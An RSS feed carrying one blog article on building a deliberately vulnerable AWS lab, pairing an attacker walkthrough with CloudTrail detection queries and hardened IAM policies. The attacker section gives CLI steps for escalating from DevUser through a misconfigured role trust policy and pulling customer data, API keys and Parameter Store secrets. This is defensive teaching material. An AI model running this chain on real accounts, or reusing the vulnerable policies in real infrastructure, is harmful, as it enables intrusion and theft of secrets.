<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Karan Vaghela</title>
    <description>The latest articles on Forem by Karan Vaghela (@karanvaghela).</description>
    <link>https://forem.com/karanvaghela</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3672913%2Ff130e7b2-1776-40fb-9768-87af7a2df047.jpeg</url>
      <title>Forem: Karan Vaghela</title>
      <link>https://forem.com/karanvaghela</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/karanvaghela"/>
    <language>en</language>
    <item>
      <title>Building an Intentionally Vulnerable AWS Lab to Teach Cloud Security</title>
      <dc:creator>Karan Vaghela</dc:creator>
      <pubDate>Sun, 21 Dec 2025 18:09:28 +0000</pubDate>
      <link>https://forem.com/karanvaghela/building-an-intentionally-vulnerable-aws-lab-to-teach-cloud-security-77f</link>
      <guid>https://forem.com/karanvaghela/building-an-intentionally-vulnerable-aws-lab-to-teach-cloud-security-77f</guid>
      <description>&lt;p&gt;&lt;strong&gt;Introduction&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Most cloud engineers learn AWS by building functional infrastructure deploying EC2 instances, configuring S3 buckets, setting up VPCs. They pass certification exams that test theoretical knowledge of IAM policies and security groups. But they rarely see how attackers actually exploit cloud environments.&lt;/p&gt;

&lt;p&gt;This gap is dangerous. Real-world cloud breaches don't happen because engineers forget to enable encryption. They happen because of subtle misconfigurations in IAM policies, overly permissive roles, and broken trust boundaries that look reasonable at first glance but create exploitable attack paths.&lt;/p&gt;

&lt;p&gt;Intentionally vulnerable labs solve this problem. By building AWS environments with realistic security flaws, we can teach defenders what attackers see, how privilege escalation actually works, and why certain IAM patterns are toxic. This isn't about learning to attack it's about understanding the mechanics of cloud security failures so you can prevent them.&lt;/p&gt;

&lt;p&gt;The common problem: you can read documentation about IAM wildcards being dangerous, or you can actually exploit an overly permissive policy and watch yourself gain admin access from a low-privilege starting point. One of these teaches you how to secure AWS. The other just tells you to.&lt;br&gt;
Lab Architecture Overview&lt;/p&gt;

&lt;p&gt;This lab simulates a small development environment with a web application backend. The architecture includes common AWS services with deliberately introduced weaknesses that mirror real-world misconfigurations.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Trust Boundaries:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;IAM user → IAM role assumption (vulnerable boundary)&lt;br&gt;
Public subnet → Private subnet (network boundary)&lt;br&gt;
EC2 instance → S3 bucket (service boundary)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Attack Surface:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;IAM policies allowing unintended role assumption&lt;br&gt;
EC2 instance metadata service (IMDSv1)&lt;br&gt;
Overly permissive S3 bucket policies&lt;br&gt;
CloudTrail logs accessible to unauthorized principals&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;AWS Services Used&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;IAM (Identity and Access Management)&lt;/p&gt;

&lt;p&gt;Core authentication and authorization mechanism&lt;br&gt;
Policies determine who can do what&lt;br&gt;
Most cloud breaches involve IAM misconfiguration, making it critical for security learning&lt;/p&gt;

&lt;p&gt;EC2 (Elastic Compute Cloud)&lt;/p&gt;

&lt;p&gt;Represents compute resources with attached IAM roles&lt;br&gt;
Instance metadata service is a common attack vector&lt;br&gt;
Demonstrates how compromised instances lead to credential exposure&lt;/p&gt;

&lt;p&gt;S3 (Simple Storage Service)&lt;/p&gt;

&lt;p&gt;Holds sensitive application data (simulated customer records, config files)&lt;br&gt;
Misconfigured bucket policies are among the most common cloud vulnerabilities&lt;br&gt;
Teaches object-level access controls and bucket permissions&lt;/p&gt;

&lt;p&gt;CloudTrail&lt;/p&gt;

&lt;p&gt;Logs all AWS API calls for auditing and forensics&lt;br&gt;
Essential for detection and incident response&lt;br&gt;
Demonstrates what attackers leave behind and how defenders investigate&lt;/p&gt;

&lt;p&gt;VPC (Virtual Private Cloud)&lt;/p&gt;

&lt;p&gt;Network isolation and segmentation&lt;br&gt;
Security groups and NACLs control traffic flow&lt;br&gt;
Shows relationship between network security and identity-based security&lt;/p&gt;

&lt;p&gt;Systems Manager (SSM)&lt;/p&gt;

&lt;p&gt;Parameter Store can hold secrets and configuration&lt;br&gt;
Often misconfigured to allow unauthorized access&lt;br&gt;
Demonstrates lateral movement paths through configuration services&lt;/p&gt;

&lt;p&gt;Secrets Manager (optional)&lt;/p&gt;

&lt;p&gt;Stores sensitive credentials with rotation capabilities&lt;br&gt;
When misconfigured, becomes a treasure trove for attackers&lt;br&gt;
Shows the difference between encrypted storage and access control&lt;/p&gt;

&lt;p&gt;Intentional IAM Misconfigurations&lt;br&gt;
The core vulnerability in this lab is an IAM trust policy that allows unintended role assumption. This mirrors a common real-world pattern where developers create roles for specific services but accidentally make them assumable by broader principals.&lt;br&gt;
Vulnerable IAM Role: app-role&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::123456789012:root"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why This Is Dangerous:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Using the account root ARN (arn:aws:iam::ACCOUNT_ID:root) in a trust policy means any principal in that account can assume the role, not just the root user. This is a subtle but critical misunderstanding. Developers often think they're restricting access to the root user, but they're actually allowing all IAM users and roles in the account.&lt;br&gt;
The role's permission policy grants extensive S3 access:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "s3:GetObject",
        "s3:PutObject",
        "s3:ListBucket"
      ],
      "Resource": [
        "arn:aws:s3:::app-data-prod",
        "arn:aws:s3:::app-data-prod/*"
      ]
    },
    {
      "Effect": "Allow",
      "Action": [
        "ssm:GetParameter",
        "ssm:GetParameters"
      ],
      "Resource": "arn:aws:ssm:us-east-1:123456789012:parameter/app/*"
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Additional Misconfiguration: DevUser Policy&lt;br&gt;
The DevUser is intended to have limited read-only access but has this policy attached:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "iam:ListRoles",
        "iam:GetRole",
        "sts:AssumeRole"
      ],
      "Resource": "*"
    },
    {
      "Effect": "Allow",
      "Action": [
        "ec2:DescribeInstances",
        "s3:ListAllMyBuckets"
      ],
      "Resource": "*"
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The problem: DevUser can list all roles and assume any role that trusts the account. Combined with the vulnerable trust policy on app-role, this creates a privilege escalation path.&lt;br&gt;
Attacker's Perspective (Red Team View)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;⚠️ LAB ENVIRONMENT ONLY - DO NOT USE ON PRODUCTION OR UNAUTHORIZED SYSTEMS ⚠️&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Starting Point: Compromised DevUser credentials (leaked in code repository, phished, etc.)&lt;/p&gt;

&lt;p&gt;Step 1: Enumerate IAM Roles&lt;br&gt;
bash# List all roles in the account&lt;br&gt;
aws iam list-roles --profile devuser&lt;/p&gt;
&lt;h1&gt;
  
  
  Get details about interesting roles
&lt;/h1&gt;

&lt;p&gt;aws iam get-role --role-name app-role --profile devuser&lt;br&gt;
The attacker discovers app-role and examines its trust policy. They notice the trust policy allows any principal in the account to assume it.&lt;br&gt;
Step 2: Check Current Identity&lt;br&gt;
bash# Confirm current identity&lt;br&gt;
aws sts get-caller-identity --profile devuser&lt;/p&gt;
&lt;h1&gt;
  
  
  Output:
&lt;/h1&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
     "UserId": "AIDAI4EXAMPLE",
     "Account": "123456789012",
     "Arn": "arn:aws:iam::123456789012:user/DevUser"
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Step 3: Assume the Privileged Role&lt;/p&gt;
&lt;h1&gt;
  
  
  Assume app-role
&lt;/h1&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;aws sts assume-role \
  --role-arn arn:aws:iam::123456789012:role/app-role \
  --role-session-name attacker-session \
  --profile devuser

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h1&gt;
  
  
  Output includes temporary credentials:
&lt;/h1&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; {
   "Credentials": {
        "AccessKeyId": "ASIAXXX",
        "SecretAccessKey": "xxx",
        "SessionToken": "xxx",
        "Expiration": "2025-12-21T22:00:00Z"
    }
 }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Step 4: Configure Temporary Credentials&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Export the temporary credentials
export AWS_ACCESS_KEY_ID="ASIAXXX"
export AWS_SECRET_ACCESS_KEY="xxx"
export AWS_SESSION_TOKEN="xxx"

# Verify new identity
aws sts get-caller-identity

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Output:
# {
#     "UserId": "AROAXXXXX:attacker-session",
#     "Account": "123456789012",
#     "Arn": "arn:aws:sts::123456789012:assumed-role/app-role/attacker-session"
# }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Step 5: Access Sensitive Data&lt;br&gt;
bash&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# List objects in the production bucket
aws s3 ls s3://app-data-prod/

# Download sensitive files
aws s3 cp s3://app-data-prod/customer-data.csv .
aws s3 cp s3://app-data-prod/api-keys.json .

# Retrieve secrets from Parameter Store
aws ssm get-parameter --name /app/database-password --with-decryption
aws ssm get-parameter --name /app/api-key --with-decryption
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Attack Path Summary:&lt;/p&gt;

&lt;p&gt;Low-privilege DevUser → Enumerate IAM roles&lt;br&gt;
Discover app-role with misconfigured trust policy&lt;br&gt;
Assume app-role using STS&lt;br&gt;
Access production S3 bucket and SSM parameters with elevated privileges&lt;br&gt;
Exfiltrate sensitive data&lt;/p&gt;

&lt;p&gt;What Makes This Realistic:&lt;/p&gt;

&lt;p&gt;Developers commonly misunderstand IAM trust policy syntax&lt;br&gt;
Low-privilege accounts often have sts:AssumeRole for legitimate reasons&lt;br&gt;
The escalation path isn't obvious from any single policy it requires combining permissions&lt;br&gt;
No alerts fire because the role assumption is technically authorized&lt;/p&gt;

&lt;p&gt;Defender's Perspective (Blue Team View)&lt;br&gt;
Detection Strategy:&lt;br&gt;
CloudTrail logs contain all the evidence needed to detect this attack. The key is knowing what to look for.&lt;br&gt;
Indicator 1: Role Enumeration&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "eventName": "GetRole",
  "eventTime": "2025-12-21T18:23:45Z",
  "userIdentity": {
    "type": "IAMUser",
    "principalId": "AIDAI4EXAMPLE",
    "arn": "arn:aws:iam::123456789012:user/DevUser",
    "accountId": "123456789012",
    "userName": "DevUser"
  },
  "requestParameters": {
    "roleName": "app-role"
  },
  "sourceIPAddress": "203.0.113.45"
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why This Matters: DevUser listing and examining roles, especially those it shouldn't need to know about, is suspicious. Most users don't enumerate IAM roles unless they're investigating privilege escalation paths.&lt;br&gt;
Indicator 2: Unusual AssumeRole Activity&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "eventName": "AssumeRole",
  "eventTime": "2025-12-21T18:24:12Z",
  "userIdentity": {
    "type": "IAMUser",
    "principalId": "AIDAI4EXAMPLE",
    "arn": "arn:aws:iam::123456789012:user/DevUser",
    "accountId": "123456789012",
    "userName": "DevUser"
  },
  "requestParameters": {
    "roleArn": "arn:aws:iam::123456789012:role/app-role",
    "roleSessionName": "attacker-session"
  },
  "resources": [
    {
      "type": "AWS::IAM::Role",
      "ARN": "arn:aws:iam::123456789012:role/app-role"
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why This Matters: DevUser has never assumed this role before. Baseline behavior analysis would flag this as anomalous. Additionally, the session name "attacker-session" is obviously suspicious (though real attackers would use something more innocuous).&lt;br&gt;
Indicator 3: S3 Access from New Principal&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "eventName": "GetObject",
  "eventTime": "2025-12-21T18:25:33Z",
  "userIdentity": {
    "type": "AssumedRole",
    "principalId": "AROAXXXXX:attacker-session",
    "arn": "arn:aws:sts::123456789012:assumed-role/app-role/attacker-session",
    "accountId": "123456789012",
    "sessionContext": {
      "sessionIssuer": {
        "type": "Role",
        "principalId": "AROAXXXXX",
        "arn": "arn:aws:iam::123456789012:role/app-role",
        "accountId": "123456789012",
        "userName": "app-role"
      }
    }
  },
  "requestParameters": {
    "bucketName": "app-data-prod",
    "key": "customer-data.csv"
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why This Matters:&lt;/strong&gt; The app-role is typically assumed by EC2 instances, not by IAM users. Seeing an IAM user assume this role and immediately access sensitive S3 objects is highly anomalous.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Detection Implementation:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CloudWatch Logs Insights Query:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;fields @timestamp, userIdentity.userName, eventName, requestParameters.roleArn
| filter eventName = "AssumeRole"
| filter userIdentity.type = "IAMUser"
| filter requestParameters.roleArn like /app-role/
| sort @timestamp desc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;GuardDuty Finding:&lt;br&gt;
GuardDuty would generate a Policy:IAMUser/RootCredentialUsage or similar finding if configured properly. While our specific pattern might not trigger a built-in finding, GuardDuty's anomaly detection would flag unusual IAM activity.&lt;br&gt;
Manual Detection Checklist:&lt;/p&gt;

&lt;p&gt;IAM users assuming roles they've never used before&lt;br&gt;
Multiple GetRole calls before an AssumeRole&lt;br&gt;
Access to S3 buckets from principals that don't normally access them&lt;br&gt;
SSM parameter retrieval outside of normal application patterns&lt;br&gt;
Source IP addresses from unexpected regions or ASNs&lt;/p&gt;

&lt;p&gt;Real-World Detection:&lt;br&gt;
In production environments, this attack is commonly caught by:&lt;/p&gt;

&lt;p&gt;UEBA (User and Entity Behavior Analytics) tools that establish baselines&lt;br&gt;
CloudTrail analysis in SIEM platforms (Splunk, Datadog, etc.)&lt;br&gt;
AWS Config rules that alert on role assumption by unexpected principals&lt;br&gt;
S3 access logging combined with anomaly detection&lt;/p&gt;

&lt;p&gt;The attacker is caught when a security analyst reviews CloudTrail logs and notices the unusual sequence of IAM enumeration → role assumption → sensitive data access from a principal that shouldn't have this access pattern.&lt;br&gt;
Remediation and Secure Design&lt;br&gt;
Fixed IAM Role Trust Policy:&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;&lt;code&gt;{&lt;br&gt;
  "Version": "2012-10-17",&lt;br&gt;
  "Statement": [&lt;br&gt;
    {&lt;br&gt;
      "Effect": "Allow",&lt;br&gt;
      "Principal": {&lt;br&gt;
        "Service": "ec2.amazonaws.com"&lt;br&gt;
      },&lt;br&gt;
      "Action": "sts:AssumeRole",&lt;br&gt;
      "Condition": {&lt;br&gt;
        "StringEquals": {&lt;br&gt;
          "sts:ExternalId": "unique-external-id-12345"&lt;br&gt;
        }&lt;br&gt;
      }&lt;br&gt;
    }&lt;br&gt;
  ]&lt;br&gt;
}&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;Key Changes:&lt;/p&gt;

&lt;p&gt;Principal is now ec2.amazonaws.com service, not account root&lt;br&gt;
Added ExternalId condition for additional verification&lt;br&gt;
Only EC2 instances can assume this role, not IAM users&lt;/p&gt;

&lt;p&gt;Fixed DevUser Policy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "ec2:DescribeInstances",
        "s3:ListAllMyBuckets"
      ],
      "Resource": "*"
    },
    {
      "Effect": "Deny",
      "Action": [
        "iam:*",
        "sts:AssumeRole"
      ],
      "Resource": "*"
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key Changes:&lt;/p&gt;

&lt;p&gt;Removed IAM enumeration permissions&lt;br&gt;
Explicitly deny sts:AssumeRole to prevent role switching&lt;br&gt;
Apply least privilege only permissions actually needed&lt;/p&gt;

&lt;p&gt;S3 Bucket Policy with Least Privilege:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::123456789012:role/app-role"
      },
      "Action": [
        "s3:GetObject",
        "s3:PutObject"
      ],
      "Resource": "arn:aws:s3:::app-data-prod/*",
      "Condition": {
        "StringEquals": {
          "s3:ExistingObjectTag/Environment": "production"
        }
      }
    },
    {
      "Effect": "Deny",
      "Principal": "*",
      "Action": "s3:*",
      "Resource": [
        "arn:aws:s3:::app-data-prod",
        "arn:aws:s3:::app-data-prod/*"
      ],
      "Condition": {
        "Bool": {
          "aws:SecureTransport": "false"
        }
      }
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;AWS-Native Security Controls:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Enable IMDSv2 on EC2 Instances
bashaws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-put-response-hop-limit 1&lt;/li&gt;
&lt;li&gt;Use IAM Access Analyzer
bash# Create analyzer to detect external access
aws accessanalyzer create-analyzer \
--analyzer-name account-analyzer \
--type ACCOUNT&lt;/li&gt;
&lt;li&gt;Enable GuardDuty
bashaws guardduty create-detector --enable&lt;/li&gt;
&lt;li&gt;Implement SCPs (Service Control Policies)
For organizations with multiple accounts, use SCPs to prevent dangerous IAM patterns:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Deny",
      "Action": [
        "iam:CreateAccessKey",
        "iam:CreateUser"
      ],
      "Resource": "*",
      "Condition": {
        "StringNotEquals": {
          "aws:PrincipalOrgID": "o-xxxxxxxxxx"
        }
      }
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;CloudTrail Best Practices&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Enable log file validation&lt;br&gt;
Store logs in a separate security account&lt;br&gt;
Enable MFA delete on log bucket&lt;br&gt;
Set up alerts for critical IAM events&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Least Privilege Principles Applied:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Service-specific principals: Roles should trust services (like EC2, Lambda), not account root&lt;br&gt;
Condition keys: Add conditions to further restrict when policies apply&lt;br&gt;
Explicit denies: Use deny statements to prevent circumvention&lt;br&gt;
Time-bounded credentials: Use temporary credentials with short expiration&lt;br&gt;
Resource-level permissions: Specify exact resources, avoid wildcards&lt;br&gt;
Regular auditing: Use Access Analyzer and IAM Access Advisor to find unused permissions&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Lessons Learned&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;IAM Trust Policies Are Not Intuitive&lt;br&gt;
The biggest lesson: "Principal": {"AWS": "arn:aws:iam::ACCOUNT_ID:root"} does not mean "only the root user." It means "any principal in this account." This single misunderstanding causes countless production incidents. You can read this in documentation, but exploiting it in a lab makes it unforgettable.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Enumeration Is the First Step&lt;br&gt;
Attackers with limited credentials immediately enumerate what's available. They run list-roles, list-users, describe-instances, list-buckets. Defenders need to treat excessive enumeration as a red flag, not normal behavior. Baselines matter.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Privilege Escalation Paths Are Rarely Obvious&lt;br&gt;
The vulnerable path in this lab requires combining three elements: DevUser's sts:AssumeRole permission, app-role's trust policy, and app-role's S3 permissions. No single policy looks immediately dangerous. Real attacks work the same way they chain together reasonable-looking permissions into exploitation.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Detection Requires Context&lt;br&gt;
A single AssumeRole call isn't suspicious. An IAM user assuming a role normally used by EC2 instances is suspicious. Good detection isn't about alerting on individual events it's about understanding normal behavior and flagging deviations.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Least Privilege Is Hard&lt;br&gt;
Writing the remediated policies takes more effort than writing the vulnerable ones. The secure versions require understanding service principals, condition keys, and resource ARNs. This is why overly permissive policies are so common they're easier. Labs teach you the cost of taking shortcuts.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Theory vs. Practice Gap&lt;br&gt;
Reading "don't use wildcards in IAM policies" teaches you nothing. Exploiting a wildcard in Resource: "*" to access sensitive S3 buckets teaches you why the rule exists. Building and breaking systems creates understanding that studying alone cannot.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CloudTrail Is Your Forensic Foundation&lt;br&gt;
Every action in this attack is logged. The evidence is there. But if you don't know what to look for, or if your logs are poorly organized, you won't find it. Effective security requires not just enabling CloudTrail, but actively querying and analyzing it.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Defense Depth Matters&lt;br&gt;
The remediation doesn't rely on a single control. It combines: fixed trust policies, least privilege IAM policies, S3 bucket policies, GuardDuty, IAM Access Analyzer, and IMDSv2. Layered security means an attacker has to bypass multiple controls, not just one.&lt;br&gt;
What This Lab Teaches That Theory Cannot:&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The muscle memory of running AWS CLI commands as an attacker&lt;br&gt;
What CloudTrail logs actually look like during an attack&lt;br&gt;
The psychological experience of privilege escalation (it feels easy, which is alarming)&lt;br&gt;
How to write IAM policies that actually stop these attacks&lt;br&gt;
Why security engineering is about understanding attacker tradecraft&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Building intentionally vulnerable AWS labs bridges the gap between theoretical cloud security knowledge and practical defensive skills. When you've successfully exploited an IAM misconfiguration yourself, you understand viscerally why certain patterns are dangerous. When you've hunted through CloudTrail logs to detect your own simulated attack, you know what to look for in production.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;This isn't about learning to be an attacker. It's about thinking like one so you can build defenses that actually work. Cloud security isn't about memorizing AWS documentation it's about understanding how identity, permissions, and trust boundaries interact in ways that create exploitable paths.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The lab environment described here is a starting point. Extend it. Add Lambda functions with overly permissive execution roles. Configure an S3 bucket with public access. Create an EC2 instance with IMDSv1 enabled and credentials in user data. Each vulnerability you add is another lesson for anyone who works through it.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Security teams benefit from engineers who understand both offense and defense. DevSecOps teams need people who can review IAM policies and spot privilege escalation risks. Cloud architects need to design systems that are secure by default, not retrofit security later. Labs like this train all of those skills simultaneously.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Build these environments in isolated AWS accounts. Document the vulnerabilities. Walk teammates through the exploitation and remediation. Host internal workshops where engineers red team each other's infrastructure. The AWS community grows stronger when we learn from controlled failures rather than production incidents.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Responsible experimentation in lab environments is how we develop the expertise to secure production systems. This is ethical learning done right controlled, educational, and defensive-minded. The goal is never to exploit real systems. It's to understand exploitation well enough that you can prevent it.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>aws</category>
      <category>cybersecurity</category>
      <category>cloud</category>
      <category>devsecops</category>
    </item>
  </channel>
</rss>
